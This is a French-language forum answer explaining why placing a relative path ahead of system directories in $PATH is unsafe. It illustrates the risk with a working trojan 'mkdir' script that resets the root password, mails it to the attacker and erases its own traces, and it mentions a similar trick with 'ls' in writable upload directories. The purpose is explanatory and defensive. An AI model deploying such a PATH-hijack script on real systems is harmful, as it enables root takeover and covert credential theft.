Il y a deux problèmes avec le chemin que vous utilisez.
- Le chemin est relatif.
- Le chemin relatif vient avant les chemins principaux.
Supposons que vous ayez le script shell suivant que vous utilisez en tant que root pour mettre à jour une application Web et que vous avez défini le $PATH
utilisé dans /etc/profile
#!/bin/bash
pushd /dev/shm
git clone http://some/git/path/web_app
cp -a web_app /var/www/html
rm -fr web_app
popd
À un attaquant, vous fournissez un moyen d'exécuter quelque chose dans le shell qui est contrôlé par ledit attaquant. Une forme d'attaque ressemblerait à ceci - où j'essaie de subvertir le contrôle du mkdir
appeler dans le script vulnérable.
attacker$ cd /dev/shm
attacker$ mkdir -p apps/java/bin
attacker$ vi apps/java/bin/mkdir
#!/bin/bash
echo "some_random_password" | passwd --stdin root
echo "We owned that guy with some_random_password" | mail -s "Pwned" [email protected]
/bin/mkdir [email protected]
rm -fr /dev/shm/apps
attacker$ chmod +x apps/java/bin/mkdir
Ensuite, j'attends que vous mettiez à jour votre webapp.
Maintenant, ce qui se passe, c'est que le script vulnérable passe à /dev/shm
. Quand il le fait et exécute mkdir
il trouve le apps/java/bin/mkdir
programme d'abord, qui dans ce cas réinitialise le mot de passe root, envoie par e-mail à l'attaquant le nouveau mot de passe root, appelle en fait le vrai mkdir
(pour cacher le fait que quelque chose s'est réellement passé) et se retire du chemin d'attaque.
En tant que root, vous avez non idée de ce qui s'est passé et la preuve est effacée une fois que la charge utile a été livrée.
Le problème d'avoir un chemin relatif dans $PATH est que si un attaquant peut créer un fichier avec un nom donné dans votre système de fichiers, vous risquez d'exécuter ce fichier.
Exemple :df
ou la surveillance indique que /var est plein, du
dit que c'est /var/spool/ftp/uploads
, que fais-tu ?
cd /var/spool/ftp/uploads
ls -ltr
et vous êtes propriétaire. Vous ne voyez même pas ls
dans la sortie, vous ne le saurez donc jamais.
Remplacez les téléchargements ftp par un répertoire de données d'un site Web client, ou le répertoire /tmp d'une machine partagée, ou bien d'autres choses.
Certes, cela n'arrivera pas souvent, mais le risque existe, et écrire ./script
au lieu de script
est facile.